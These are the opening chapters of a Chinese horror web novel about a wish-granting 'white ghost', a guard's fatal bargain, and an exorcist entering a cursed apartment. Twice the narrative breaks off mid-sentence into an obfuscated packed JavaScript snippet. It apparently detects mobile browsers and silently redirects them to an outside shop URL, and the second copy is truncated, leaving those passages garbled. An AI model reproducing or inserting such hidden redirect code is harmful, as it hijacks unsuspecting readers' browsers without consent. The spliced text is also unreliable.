《幽灵许愿守则》 1. 白幽灵(0) 近年来,天海市流传起了一个灵异传说。 ——如果你有什么想实现的愿望,就在午夜时分,端一个盛满水的白瓷碗,站在漆黑的房间中央。 首先,用刀割开手指,放一滴血进瓷碗里。 然后,凝视瓷碗的水面。三十秒内,绝对不要眨眼睛。 按理来说,在漆黑一片的房间中,你什么也看不见。但运气好的话,用不了多久,你就会发现,瓷碗的水面萦绕着冰凉的、幽微的白光。 立刻放下瓷碗,退后三步,屏住呼吸。 你会看到,瓷碗中缓缓站起一个惨白的、瘦削的人形。 没有脸,甚至没有完全的肢体,只有眼眶飘着两团幽蓝的鬼火,在黑暗中莹莹发亮,死死地盯着你。 不要颤抖。保持微笑。祝贺你。 那就是【白幽灵】。 说出你的愿望吧。 ——金钱、权力、美貌、智慧、感情,甚至生命。 只要付出对等的代价,“祂”全部都能给你。 * 天海市,天心公园。 半夜十二点,保安室的灯光依然亮着。沈天合裹着大衣缩在座位上,正在刷直播短视频。 屏幕中一片漆黑,一个穿着时髦的青年正拿着把刀子在手上比划。夜视镜头下,勉强能看清他面前摆着个白瓷碗。 “直播间的朋友们看好!我要割手指了!嘶,这可是真刀子,唉哟……” “好了,现在看着碗……大家觉得白幽灵到底会不会出现呢?觉得会的扣1哈。要是真来了,我就许愿让评论区的朋友们都发财,支持的投个火箭!” 【@大混子:1121121111】 【@飞天小魔仙:主播别看镜头了快看碗!!】 【@看戏:呵呵,三十秒过去了,无事发生】 【@奇思乱想:又一个挑战失败的。这个怪谈算是已经被证伪了吧】 【@相信科学:不会吧不会吧,二十一世纪了真的还有人信许愿幽灵这一套吗??】 【@子不语:楼上慎言。之前真有主播收到了钱,卡上凭空出现一百万,简直神了】 【@大白鹅:这是我看的第一百个许愿失败直播了!我宣布成功的都是营销!!rnm退火箭!!!】 镜头晃动了一下,从瓷碗上移开。仪式果然失败,主播已经哂笑着开始跟评论区聊天了。 沈天合默默切掉这条视频,返回主页。 大数据向来是投人所好的。他的页面上都是相似的视频推送。 【亲身体验最火都市怪谈:我也要许愿成百万富豪!】 【理性分析白幽灵存在的真实可能性:一场现代人的空虚狂欢】 【怪谈打假 | 实现愿望的白幽灵?我看谁还大晚上割手指】 沈天合往后翻了几页,目光扫过大同小异的视频标题,无意识地苦笑了一下。 ……也是,在期待什么呢?当然是假的了。 都多大人了,还寄希望于这些。 白幽灵的怪谈大概是从一年前开始兴起的,最早的源头似乎是一个论坛帖子。 楼主是个高中生,班上有个学习障碍的垫底男生,经常被欺负。但从某天起,这个男生忽然变得特别聪明好学,破天荒拿了次月考第一后,开始常驻前十。 楼主以前帮过这个男生不少,两人关系挺好。她问他是怎么做到的,男生却支支吾吾地不肯开口。 楼主以为这个男生是去做了什么治疗,或者请了特别家教,不肯分享学习提升的秘诀,软磨硬泡了好久,男生才说出答案。 他说,一个白色的幽灵实现了他的愿望。 自那以后,又有好几条帖子冒出来,说是身边人忽然发生巨变,原因是向一个幽灵许愿成功了。有的人甚至自称是许愿者本身。 发帖人有老有少,身份各异。对于白幽灵的描述虽然模糊,一些细节却惊人地一致。 自此,许愿幽灵的传说不胫而走,爆火全网,不少自称懂玄学的人长篇大论地写分析,隔三差五就有人直播“许愿挑战”。 尽管这些人基本都以失败告终,白幽灵的热度却始终不减。因为时不时又会有人发一条极其逼真、全是细节的“真人帖”,分享自己许愿成功的经历。这又会撩起许多人的尝试心理。 毕竟,就算是幽灵,也不会满足所有人。试一试,说不定自己就是那个幸运儿呢? 但至少现在,沈天合还没有看到那个幸运者。 指尖麻木地划过几页论坛。忽然,一条灰色标题的帖子跳进了他的视野里。 【所有想向白幽灵许愿的人!都给我进来看完这条帖子!!!】 沈天合心里微微一动,点了进去。 “事先声明:没有图片,没有视频,别让楼主自证。这是一条给那些真想向白幽灵许愿的人的警告贴。” “注意:不是网红主播,不是随便试试的,是真的走投无路了想求助鬼神的。” “首先给你个赛博拥抱,不知道你经历了什么,但希望你能依靠自己和身边人的力量度过难关。” “然后,告诉你个不知道算好消息还是坏消息的事。” “白幽灵是存在的。” “她——相信我,确实是她。” “她会选择性地实现自己听到的愿望。” “这里涉及两个关键的问题。一个是如何让她听到,一个是她如何选择。” “第一个问题,我得说,现在的什么仪式其实都是鬼扯。这些顶多算个媒介,更容易让她接收的媒介。事实上,只要你真的是在对她许愿,只要你真的想——她全部都能听到!” “你们觉得什么都没有发生,只是因为她没有回应。” “至于她怎么决定要不要回应,我也不知道。我他大爷的要是知道白幽灵在想什么,还坐这敲键盘?” “不过,就好像那些通灵大师写的,任何鬼怪都是遵循一定逻辑来行动,白幽灵为这么多人实现愿望,当然也有所求。” “她似乎在找一个人。” “不知道名字,也不知道特征,但她确实想找到这个人。如果你们跟这个人有联系的话,大概更容易被实现愿望吧。” “至于她为什么要找,我就不清楚了。” “除此之外,只有一个标准是确定的。” “——欲望越强烈的人,越可能得到她的回应。” “流浪汉比富二代更想要财富,囚犯比平民更渴望自由。这些人才是她的客户。” “所以那些主播会失败。废话,当然会失败了,谁看不出你们是吃饱撑的?真的想向她许愿的人,一定会更绝望、更迫切。” “这也是我要提醒你们的原因。” “白幽灵确实能实现愿望,无论什么愿望都可以实现。但是,要代价的!蠢货,全都是要代价的!!!” “在愿望实现之前,你不知道自己会付出什么,甚至她也不知道,但你一定会付出的。” “虽然代价绝对等价于愿望,但那是对个体而言。即使是一模一样的愿望,每个人要给出的代价也可能不同,这根本没谁可借鉴。” “如果真的有什么那么重要,如果你真的觉得什么值得赌一个未知的代价,那你可以尝试。” “——但要记住,不是免费的!不是免费的!不是免费的!!” “别觉得侥幸,就算不是现在,你未来也一定要给的!!!” 最后一行字被标红放大,狰狞地挤满了整个屏幕,像是随时会化成鲜血流出来。 沈天合微微打了个寒噤。 什么证明都没有,说得却真像那么回事儿。这种真实感极高的“白幽灵解说贴”时不时就会蹦出几个,这一条的角度倒是选得新奇。 寒风灌进窗户,沈天合不由的裹紧了棉衣。左袖的棉花从针口里跑出来,又被急忙塞回去。 他对着桌上的手机,开始发呆。 ……如果,万一,这是真的,能实现愿望的幽灵真的存在,他应不应该试一试呢? 手机屏幕还没熄灭,锁屏是一个捧着雏菊的年轻女人,对着镜头笑得灿烂。 这是他的妻子,舒涵。 半年前,她确诊了肝癌晚期。 为了凑钱给她治病,沈天合求遍所有亲戚,把正规不正规的贷款机构都借了一遍。白天拼命加班,夜深后再来公园值夜。维系自己和女儿的基本生活之外,把所有钱都砸进了医院里。 可那么多钱花下去,也只是减缓了病情的恶化。现在癌细胞已经扩散到了肺部和骨头,舒涵痛得直不起腰来,咳血时呛到无法呼吸。 医生说,如果进行下次手术,治愈率是30%,如果不打算继续,现在就可以准备后事了。 沈天合不想准备后事。他还想给她治,他宁可自己死。 ……可是,哪里来的钱呢? 想到妻子的病痛,沈天合的眼眶又红了。他抬起豁口的棉衣抹了把眼睛,那是舒涵给他缝的,在她还能从床上坐起来的时候。 ……如果有什么能治好她的方法,无论是神佛还是鬼怪,他都会愿意试一试吧? 外面的风越刮越大了,灌满整个保安室,呼啸声听得有些渗人。沈天合站起身,打算把窗子关严实了。 窗外的公园黝黑一片,树影幢幢,略显阴森,只有不远处的天心湖泛着粼粼波光。 湖边似乎还有个小小的影子,在风中摇摆着,曳出一点微末的白光。 沈天合心神一震,砰的拉开保安室的门,快步冲了出去! ——那是一个人!湖边有个人!! * “等等!等等!”沈天合提着手电筒,一边狂奔一边扯着嗓子大喊,“请您冷静一下!冷静!别冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153341|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动!水深危险!” 白色的人影似乎僵了一下,缓缓转过身来。 沈天合终于跑到了湖边,气喘吁吁地扶着树,上气不接下气地说: “那个,先别冲动,冷静,不要寻短见……我、我是这里的保安,有什么想不开的,可以跟我聊聊……” 他抬起头,后面的话忽而断在了嘴边,一时间只有沉默。 风吹过水面,扬起黑色的裙摆和银白的长发。纤细的人影轻巧地立在湖畔,像一株开在悬崖上的莲花。 一个异常美丽的少女。 顶多也就十七八岁的年纪,五官精致得不似世上存在的人。穿着一条漆黑的复古长裙,衬得皮肤更像是上好的白瓷。她的长发是极其罕见的银白色,在月光下如同流淌的银河。 美丽而妖异。 女孩微微转过头,目光落在他身上。 她问:“您是在跟我说话吗?” “是……是啊。”沈天合下意识移开了视线,结结巴巴地说,“老远就看到你了,我、我还以为……” “以为我要跳湖?”女孩轻轻笑起来,“没有啦。就是觉得很烦,又没人听我说话,随便出来走走嘛。” “没事没事!生活都有困难的时候,我知道现在年轻人压力也很大的!” 沈天合赶忙安慰,“有什么烦的,可以跟叔叔说说。不过你先离湖远一点好不好?这样很危险的。” 幸好女孩现在情绪还挺稳定的样子,沈天合想赶紧先让她离开湖畔,免得一会儿说着说着忽然想不开了。 不过,他心里也觉得有点奇怪。公园围墙有两米高,正门他又一直看着,这小姑娘是怎么进来的?难道一直都没离开吗? 这么晚,多危险啊。 女孩想了想,点点头,走到了草坪中心最大的那棵树下,和他隔着几米的距离。 她的步子十分轻盈,却莫名给沈天合一种怪异的感觉,轻盈得……就好像,不是走在地上一样。 “我很烦。”女孩背靠着树干,恹恹开口:“因为我在找一个人,但是一直找不到。我为他跑东跑西到处撒网,可就是找不到。” “什么人啊?”沈天合接话,“有没有身份信息?去警察局备案了吗?” “警察可找不到。”女孩轻笑一声,“因为我也不知道是谁呢,名字啊长相啊,都没有。要见了面我才知道,但一见面我就会知道的!” 这话说得又绕又难懂,沈天合不由皱了皱眉。哪有找人却连是谁都不知道的呢? 但他还是配合地继续着女孩的话题:“那为什么要找他呢?” “忘记啦。”女孩说,“反正就是要找,可能找到我就知道了吧。” 这句话就更奇怪了。沈天合勉强干笑了两声:“是找到之后要做什么吗?” “实现他的愿望!”女孩甜美地微笑起来,“所以哦,我希望他是个像叔叔你一样的人。” 沈天合一愣。一阵夜风吹过,他忽然觉得有些冷。 “哈哈哈,”他下意识搓了搓手臂上的鸡皮疙瘩,移开视线,“这是什么意思啊?” “嗯——” 女孩仰起脸看向天空,幽幽地说:“像你一样,有求于我啊。” 最后几个字像烟花,在脑子里轰然炸开。 沈天合的瞳孔缩了缩,倏尔意识到了什么。他扭过头,颤栗地看向不远处的女孩,忽地仿佛触电一般,猛然弹开几米远! 寒气从脚底窜上来,一股莫可名状的恐惧忽然攥住了他的心脏——那是一种更为原始的恐惧,就像是兔子遇到鹰,老鼠撞上毒蛇。血液倒流,细胞尖叫,惊恐到头皮都要炸裂开来! “……你是谁?”沈天合的牙齿不受控制地开始打战,“你是什么?!” “如果你是在问人类的称谓的话,”女孩歪头,“最近,你们叫我【白幽灵】。” 沈天合已经惊恐得不敢抬头了,目光只敢落在地上。地上——他呼吸一窒。 他知道自己为什么觉得女孩走路姿势奇怪了——因为她的脚根本没有落在地上,她一直飘在空中! 白色的幽灵静静地凝视着他,眼睛蓝得发黑,精美如镶嵌的琉璃,却没有丝毫生气。 在沈天合的眼中,她的脸色已经变成一片惨白,五官如同黑洞般扭曲而深不见底。他听到自己从喉咙深处发出了一声惨叫。 “见到我真身的人类,有一半会恐惧,有一半会疯狂,看来你幸运的是前者啊。” 白幽灵踩着空气,一步、一步、慢慢地向他走近,她的微笑越来越浓。 “更幸运的是,我听到了你的愿望,沈天合先生。” “你真的想治好她吗?你愿意为这个愿望付出任何代价?” 月光落在幽灵没有一丝血色的脸上,照亮尖尖的獠牙。她微笑着说: “——如果是的话,我来为你实现吧?” 2. 红房子(1) “……于是,白幽灵实现了这个男人的愿望。” “有白幽灵的帮忙,男人发大财了呀。买彩票马上就中了,接下来更是投什么赚什么。房地产,建材,旅游开发。钱流水一样的来,房子都买了好几套!” “在不到一年的时间里,他就飞速发家,成了天海市数一数二的阔豪。” “但与此同时,沈天合也对自己的妻子感到越来越厌倦。整天在外边寻花问柳,夜不归宿,把老婆孩子丢在家里,问都不问。” “直到有一次吵架,他忽然发疯,在老家的公寓里,用一把菜刀,砍死了自己的老婆。” “砍得真狠呐,一连十几刀,都认不出样子了。内脏乱七八糟地散落一地,留下的碎肉、骨头渣,喷满了天花板。” “当时大概是凌晨一两点,虽然声音很大,但左邻右舍都还在睡觉。” “要是有人提前注意到……后面的惨剧可能就不会发生了。” “在杀死妻子之后,沈天合又提着刀走了出去。” “他是房东,有所有家门的钥匙。于是,他打开了邻居的门,把这些还在睡梦中的人,一个、一个全都砍死了。” “等到被发现的时候,他已经杀了三户四个人,一个独居老人,一个外地青年,一对夫妻。” “最早发现的是一个夜班回来的人,看到他浑身是血的样子,直接给吓疯了,立刻报警。” “警察过来的时候,沈天合竟然还在原地打转,看上去浑浑噩噩的,嘴里一直念叨着什么黑啊白啊的。” “警察让他放下刀,他却当没听见一样,调头就往自己家走去。” “当时门都没关,警察也看到了他家里的惨状。几个年轻的小片警当场就吐了。” “沈天合见到这个场景,好像也呆了。他跪在地上,忽然发疯一样嚎哭起来。” “那个声音惨啊。不像人,像是野兽。” “没等警察出手,他就拿起刀,削下自己的半个头,死了。” …… “喀!” 阴森森的午夜电台戛然而至。 司机把头偏向后座的乘客,嘎嘎笑道:“哈哈哈,吓到没有?《红梅公寓诡话》,真实案件改编的!” 正值午夜,街灯昏黄,空旷的大道上只有这一辆车正在疾驶,后座上只坐了一个人。 司机开夜车就喜欢聊天,刚好广播又放到恐怖案件,他特意调大了音量,想吓吓这个年轻乘客。 乘客原本正靠着窗看风景,闻言微微颔首:“听说过。” ——天海市富豪沈天合,在老家公寓里杀死了妻子和四个邻居,随后自杀。 据说,他是靠向白幽灵许愿,才在短短一年内发家的,但也因此受到诅咒,最后发疯惨死。 这是三年前耸动一时的杀人案件,相关传闻数不胜数,司机特地挑了比较血腥的一个。乘客的反应很平淡,他不由有些失望。 这是一个莫约二十岁的年轻人,穿着简单的白衬衣和黑色长裤,背个黑色的单肩包,长相俊秀得令人惊异,脸上却没什么表情。 他戴着一条漆黑的颈环,严丝合缝地紧贴在脖颈上,闪烁着冰冷的、金属质地的光泽。 少年似乎不怎么喜欢说话,一路上都很沉默,回答往往只有几个字。 司机锲而不舍地找话题:“你也听说过?这都是三年前的新闻了,我还以为只有我们本地人知道。” “案情诡异,资料很多。” “还有更诡异的呢!”司机顿时来劲了,“你知不知道‘白幽灵’?这可不是瞎编的。沈天合能在这么短的时间里发家,绝对有借助这些神神鬼鬼的东西!” “在沈天合之前,网上也有不少人说自己真的实现了愿望,但在沈天合之后,这种帖子就越来越少了,有的也基本都被打假了——据说,那是因为沈天合发家之后想办法收了这个鬼!” “借力鬼神,心里总不踏实,是不是?毕竟他发财了,门路也变多了,反正他确实也有些不干净的底子,对付鬼岂不正好?” “——听说,我也是听说啊。沈天合把那个幽灵封印进了一个黑匣子里,然后受到了报复。他发疯就是因为被白幽灵诅咒了!” 司机压低了嗓门:“……因为,沈天合死前喊的就是‘黑匣子’和‘白幽灵’。” “……” 年轻人点点头:“这样啊。” “反正这事儿邪门,很多人是信的。”司机得到回应,满意地继续道,“后来几年,还有不少胆子大的年轻人去鬼宅探险呢。据说,关着白幽灵的黑匣子还在那个公寓里,谁能把她放出来,她就会实现谁的愿望——什么愿望都可以实现!” “听上去像神灯一样。”年轻人的语气淡淡的,“有人找到过吗?” “当然没有,警察当时都没找到。”司机摇头,“倒是有几个人好像在那一带失踪了,也不知道真的假的。” “为什么不封起来?” “来的人多呗!”司机拐过一个转角,“这事儿出来后,各种冒险主播都上赶着来打卡啊,都快成小景点了。那片又是废楼盘,怎么封得住?” “再说了,失踪也是传的,没见谁真的播着播着消失了,倒是有很多人靠这个火了呢!” 人总是对无害的恐怖充满好奇,这样一个杂糅了凶杀、诡异、欲望的案件,自然会成为流量的焦点。 那些真假难辨的失踪传闻,与其说让人警惕,不如说更给它增添了几分神秘。 反正这一片很偏僻,开车要开上快一小时,司机也乐得在路上给乘客讲点刺激的奇闻异事,吸引好奇心旺盛的年轻人来一探究竟。 出租绕过一个写着“红梅小区”的老路牌,目的地已经快到了。司机嘿嘿笑道:“小伙子,你不会也是来这里做探险直播的吧?一个人晚上来,胆子很大啊!” “谢谢。”年轻人说,“您以前也送过来这里探险的人吗?” 司机被这个直截了当的回答给打蒙了,半晌后才说:“当、当然。” “您把案件介绍得这么详细,您相信白幽灵的存在吗?” 这是个刁钻的问题。司机哑了好一会儿,才勉强道:“这……就是说说,有什么信不信的。” “既然不相信,就不要再传播这个故事了。” 车停在了路口,年轻人平静地打开车门:“只能寻求幽灵来实现的愿望,还是少点为好。” “您留意下通告,这片楼区应该很快就会被封了。如果再有人来的话,就这么告诉他们。” 他站在车外,最后道:“很晚了,路上小心。” * 年轻人的背影消失在了街角。 过了好几分钟,司机才被广播电台的声音唤回神来。 “各位天海市的市民朋友们请注意,近日,一位具有较高攻击倾向的精神病患者从仁和医院逃脱,目前藏身于红梅小区的废弃楼盘中。警方已封锁这片区域,并全力对其展开搜寻。” “为保证人身安全,请各位市民在患者入院之前不要再靠近红梅小区一带,违者将按治安管理条例进行处分……” 红梅小区? 那不是就在前面吗?已经因为精神病被封锁了? 年轻人的话在耳畔响起,像是一盆冷水从头顶泼下,把司机刚才的疑惑、不满与反驳的话语都浇成了冰柱。 心脏因为刺激和紧张鼓动起来。鬼使神差的,他无视警告,继续向前开去。 红梅小区只有几百米远——他在车上呢,他看一眼封锁线就立刻调头! 但不知道为什么,街灯的光越来越黯淡,前方的路也开始变得模糊不清,像是在丛林里开车,失去了一切方向感。 司机有些冒冷汗了。 ——为什么?明明是很熟悉的路,“红梅小区”的大门却迟迟不出现在眼前。 最关键的是,他没有看到那个年轻人,一路都没看见。只过去了几分钟,他却好像凭空消失了! 车停在原地,黑暗从四面八方侵袭而来。司机脖子僵直,瞪着眼睛看向前方。 他听到了心跳声。 咚、咚、咚咚。 像是有什么正在轻微地、有节奏感地蠕动着,鼓胀、收缩、跳动。 他用发冷的手拨转方向盘,给车掉了个头,没命地向后开去。 * 红梅公寓,8号楼。 周少麟花了些时间,才在一栋栋大同小异、编号混乱的旧楼里找到它。 这楼显然很有些年代了,水泥砌的阳台,绿色油漆的木窗,透着一股陈旧的气息。 楼道里的灯泡都被砸碎了,里面没有一丝光。他用手电筒扫过狭窄的廊道,地上已经积攒了厚厚的灰尘,隐约可见杂乱的脚印,大概是先前的探险者留下的。 斑驳的墙壁上贴满了“代扣驾照分”“疏通下水道”的小广告,还有招租信息,已经被斑斑点点的霉菌彻底模糊了字迹。 这就是沈天合发家之前住的地方,据说是他妻子家出钱买的二手房。本身就很旧了,废弃三年之后,更是破败不堪。 三年前,沈天合就是在这里杀死了自己的妻子和四个住户。 漆黑与寂静如同蛛网般爬满了这个逼仄的空间,一根针掉落的声音都能听见。 “铃铃——” 突兀的铃声打破了死寂,是手机自带的1号来电提醒音。 周少麟接通电话:“您好,赵阿姨。什么事?” “……打扰了,大师。”手机那头是一个疲惫的中年女声。 “是这样的……我半夜睡不着,搜天海市的新闻,听到红梅小区那一片刚刚被封,不让人进了, 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如司机所说,这是个久负盛名的鬼宅,探险者多如过江之鲫,但从来没有人真的在直播中出事过。正因如此,没有谁觉得这里是危险的。 ——直到赵嘉言为止。 赵嘉言是个几万粉丝的小主播,直播间的常驻观众有百余人。在凶宅直播过程中,他忽然发出了一声惊叫,随后消失在镜头里,再也没有出现。 粉丝当时还以为是强行弄的节目效果,嘻嘻哈哈了二十多分钟后,才有人感到不安并报警。 等到警察赶到,已经过去了将近一个半小时。他们在房子里发现了赵嘉言的摄像机、三角架,唯独没有找到赵嘉言。 他凭空消失了。 周少麟在标着“8单元302室”门前停下。上面贴着三张“禁止入内”的红字封条。 ——这是赵嘉言最后进去的地方。 在他出事之后,为了避免恐慌传播,失踪视频被相关部门迅速禁掉了。但既然这个沉寂三年的鬼宅突然出事,官方也不能什么都不做。 最基本的,不能再允许无关人等进入。 那个“神经病出没封锁区域”的新闻便是为此杜撰的。但真正封锁这里的并非警方的禁入线,而是一种名为【迷障】的法术。 靠近者会像遭遇了鬼打墙,无论怎样都没办法到达这里。但只要调头,很快就能离开。 相比无人看守、毫无威慑力的红色警戒线,这种方法对那些一无所知又胆大包天的探险者无疑更有效。 周少麟抬手,揭去门上的禁行封条。早已失去锁舌的木门摇摇晃晃地洞开,粘稠如墨的黑暗溢出。 这些都是为保护普通人设下的防线,禁止的对象从一开始就不包括他们。 ——不包括,除魔师。 * 进入市县的是一个不大不小的客厅,中间摆着一张矮脚长桌,周围是木质沙发。前厅的电视机已经被拆掉了,留下一个七零八落的底座。 周少麟打着手电筒一寸寸扫过去,被扬起的灰尘漂浮在光柱中。 除了看上去阴森外,并没有什么特别之处。 三年里,无数主播来过红梅公寓,试图找到传说中的“白幽灵”,消失的却只有赵嘉言一人。 如果不是有人从中作祟,那就是他的某些行动触犯了这里的某些存在。 这也是要撤掉视频、压制舆论的原因——防止效仿。 因为在正式探险前,赵嘉言比其他人多做了一件事。 周少麟从包中取出一个新的白瓷碗,垫着锡纸放在客厅中央的桌子上,拧开矿泉水瓶,向碗里倒水。 瓷碗盛满水后,他收起水瓶,翻手打开一柄折刀,利落地割开了自己的手腕。 ——进行白幽灵的许愿仪式。 * 三年前,白幽灵的怪谈曾盛行一时,但随着“成真帖”越来越少,也渐渐销声。 曾有人提问:不奇怪吗?那么多人说白幽灵实现了自己的愿望,却从没有人说过她收取了什么代价。 有人说:也许那其实算不上什么代价。成年人的世界,失去什么不很正常? 有人说:也许他们已经意识不到那是代价了。 网上曾流传着许多白幽灵的歌曲和童谣,其中最盛行的一首是这样的。 【白幽灵,白幽灵】 【黑裙子,蓝眼睛】 【看不见身影,听不到声音】 【实现愿望,带走真心】 血滴落进白瓷碗,涟漪晕开,弥漫起殷红的雾气。 “……白幽灵。” 周少麟静静凝视着水面,轻声说:“我想,见见你。” 3. 红房子(2) 有短暂的几秒,周少麟感受到了一丝空间扭曲的异样。 异样感消失后,他还在原地,但周围已然大不相同。 依旧是矮脚长桌和木沙发,黑屏的电视机却方方正正地摆在台上。头顶的白炽灯不知何时亮了起来,噼啪地闪着电火花。 屋里的陈设别无二致,但整体新了很多,而且有明显的使用痕迹,显然有人正住在这里。 周少麟看向挂在墙上的日历,2021年7月。 ——三年前。 他进入诅咒域了。 * 世界上存在着种种超乎常识的诡异,其中多半由死者的怨念造成。 人死后的执念变成怪物,就是怨灵。 怨灵强大到足够直接杀死活人,就是凶灵。 凶灵扭曲到足以掌握特殊能力,影响一方地域,就是诅咒。 ——诅咒所掌控的结界,就是“域”。 诅咒域是独立于现实的平行世界,由诅咒的欲望支撑,一经诞生就不会自然消散。它可以通过吸收欲望来不断强化,换而言之,就是吃人。 几乎每个域都会杀死外来者,但并非所有域都有对外攻击性。除非域主动捕食,否则进入域往往需要一定条件。 要么是自身的执念与诅咒相近,被直接吸纳。要么,就是通过某种仪式找到通道。 在红梅公寓,这个通道便是白幽灵的许愿仪式。 周少麟撩起袖子,看了眼手表。 这块表经过特殊处理,不受域的异常时间流速影响。但此时,他并不是在看时间。 表的顶端镶嵌着一块晶莹的锥形宝石。这是名为“银晶”的灵器,可以大致检测出域的等级,根据等级显示不同颜色。 银晶暴露在域的空气中,从顶端开始一点点变成猩红色,浓郁得像是要滴落的血珠。 ——红色,二级诅咒。 周少麟垂下眼帘。 对诅咒的评级由高到低分为一到五级。除魔师的评级与此对应,并在每级中细分为“次-准-正”,由以往的任务成功次数判定。 除魔师的基本准则是,面对高于自身等级的诅咒域,第一时间想办法离开。同等级的域,则根据自身情况判断。 ——比如现在。 情况比预想的更棘手一些。二级诅咒少说杀了三四个人了,赵嘉言还活着吗? 根据雇主的介绍,赵嘉言当了好几年的恐怖主播,对鬼神灵异的真实侧早有接触,那在域中应该也有些自保手段。运气好的话,不至于死得太快。 至于那些已经死在这里的人…… “咚咚!” 周少麟转头看向木门。 “您好。您是新入住的房客吗?”沙哑含混的声音在门后响起。 “……我丢东西了,我想进来看看。我可以进来吗?” * 忽略这句话里的逻辑问题,包括你丢东西关我什么事,你丢东西为什么要进我家找等等,这是一句符合礼貌的话。 周少麟也习惯礼貌待人,于是打开门:“好,请进。” 门口站着一个五十来岁的中年人,破旧的衣服上满是褶皱,像是赶了很远的路,风尘仆仆。 他的面皮已经有些腐烂了,扑簌簌地往下掉着死皮和泥土。眼珠暴凸,死气沉沉。 周少麟认识这张脸。 据传在红梅小区附近失踪的三个人之一,钱哲。他活着的时候是个流浪汉,因为无家可归,似乎很长一段时间住在这个公寓里。 “谢谢,谢谢。”钱哲一瘸一拐地走进去,“我来找东西……” “不客气。”周少麟说,“您在这住多久了?” 钱哲站在客厅中央,目光麻木地扫了一圈,又扫一圈。好一会儿后,才喃喃回答:“很久了,快一年了……” 一年,差不多是他被通报失踪的时间。看来他在进入域之后不久就死了。 这很正常,普通人能在域里活几天都是奇迹了。即使除魔师也不愿意在此久留。 钱哲走到书桌前,左右摸索着,打开每一个盒状的东西。 笔筒在前面,收纳盒在后面,他倒空了笔筒之后,又以一个不可思议的方式将手臂扭转了一百八十度,在上臂不动的情况下,直接扭动下臂拿到了收纳盒。 “不是。”他把收纳盒摔碎在地上,语气很失望,“不是,不是,不是。” 周少麟平静地注视着他的举动:“住在这里,有什么需要注意的地方吗?” “没有水,没有吃的。”钱哲的嗓子越来越干了,仿佛被拧紧的螺丝,“有人会追你,杀你……” “听起来不是很好。”周少麟说,“为什么不走?” 钱哲没有回答,他的目光锁死住一个漆黑的箱子,猛扑了上去! “哐!” 箱子被拆成碎片,木屑飘了满地。钱哲跪坐在一片狼藉里,肩膀以一种奇怪的节奏抖动着。 周少麟重复了一遍:“为什么不走呢?” “因为,”钱哲的脖子向右折了九十度,颈部的皮肤绷紧得仿佛随时会裂开,“因为这里有那个,我弄丢了。” 字一个一个地从皲裂的嘴唇间蹦出来:“那个,那个。丢了,我的。” 这已经是明显的异变。异变是怨灵攻击的前兆。虽然周少麟尽量避开了核心问题以稳定他的神智,但现在看来,已经触及到了。 “实现愿望的黑匣子?”他加快语速,问出了最后一个问题,“找到那个之后,你想做什么?” “我想……”钱哲腐烂的脸上露出了一个痴迷的、沉醉的微笑。他的脖子终于拧断了,只剩下一层薄薄的皮连着,尖利的骨茬刺出来,在地上留下一串血斑。 “我想,要一个家。” 他的眼睛斜斜地看着天花板,好像在适应这个扭曲的新视角,嘴角依然上扬着:“我我我,想出去去去。” 钱哲歪着脖子,四肢着地,蜘蛛一样蹿了上来。 “——我我我想想出去出去出去出去去去!” 他的动作快得出奇,几乎是瞬息就逼到了眼前。但周少麟的反应更快,他随手抄起了沙发上的棒球棍,准确地敲在钱哲的侧脸上! “砰!!” 也不知是多重的力道,钱哲整个身躯不受控制地横飞出去,直接撞裂了墙壁。蛛网般的缝隙向四周蔓延开,他软软地滑到地上。 “别这样。”周少麟单手握着球棍,身形都没动,“回答我的问题,然后你可以继续找。这个公寓里和你一样的人有多少?” 死在域里的人,若是执念深重,就会留下怨灵或凶灵。 他们也受到域的法则制约,却未必受域的诅咒驱使,更多是依据生前执念行事。如果尚有理智,可以交流,也是一种信息来源。 “愿望,嘻嘻。”钱哲仰起脸,用断掉的关节支撑自己重新站了起来,很难想象世界上有这么扭曲的站姿。 那张烂得像是蜡烛融化一样的脸上依旧笑容痴迷:“找到了,我的了。我的了。” 他的表情忽然变得阴森而怨恨,再次扑了上来:“——还给我!!” ……看来是没法再交流了。 周少麟扔开球棍。电光石火的瞬间,一点银光从他手中闪过。 下一刻,他出现在了钱哲的背后。两秒后,钱哲的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这里采光很差,墙壁上只有几个间距不规则的逼仄四方形,像是监狱囚犯的窗户,赤红的夕阳从里面漏进来。 他在302号房,一层楼共有5个居室。三年前沈天合杀人的房间分别是303,304和305,这几个房间自带怨灵的概率很大。 如果是想找活人,基本可以排除。如果是确认死状,那倒很有希望。 但域杀人的逻辑毕竟还不清楚,足够聪明的话,在里面求存也未必不可能。既然他是来找人的,把整个域找一遍是基本的职业道德。 周少麟在距离最近的303号门前停下。 进房间搜查是必须的,但他对方式有些犹豫。 按照他的习惯和钱哲的示范,应该敲门询问。但如果里面是一个强大且好杀的凶灵,等对方开门相当于让出了进攻先机。在域里,这种疏漏足以致命。 他把手试探性地按在门上。很意外,门并没有锁,无声无息地就打开了。 里面有人在说话:“白幽灵。” 是个青年的声音,听起来有些古怪,仿佛喉咙里在咕噜咕噜地冒气泡。 “白幽灵,白幽灵……” 透过半开的缝隙,周少麟看清了门内的状况。 一个矮小得不正常的青年正立在桌前。 矮小是因为他只有膝盖以上的部分,下腿被切了下来,整齐地摆在旁边,脚面着地,姿势像是在跪拜。从侧面看,他的腹部凹陷,大概缺少了一些脏器。 “我愿意付出一切代价,你可以实现我的愿望吗?” “我的愿望非常、非常强烈。虽然我的腿被锯断了,肠子也流了出来,不过都还留着,应该没问题吧……” 青年面朝桌上的瓷碗,虔诚地双手交握,哆哆嗦嗦地说: “我、我想活。我想活下去,请让我活下去吧……白幽灵!” 4. 红房子(3) 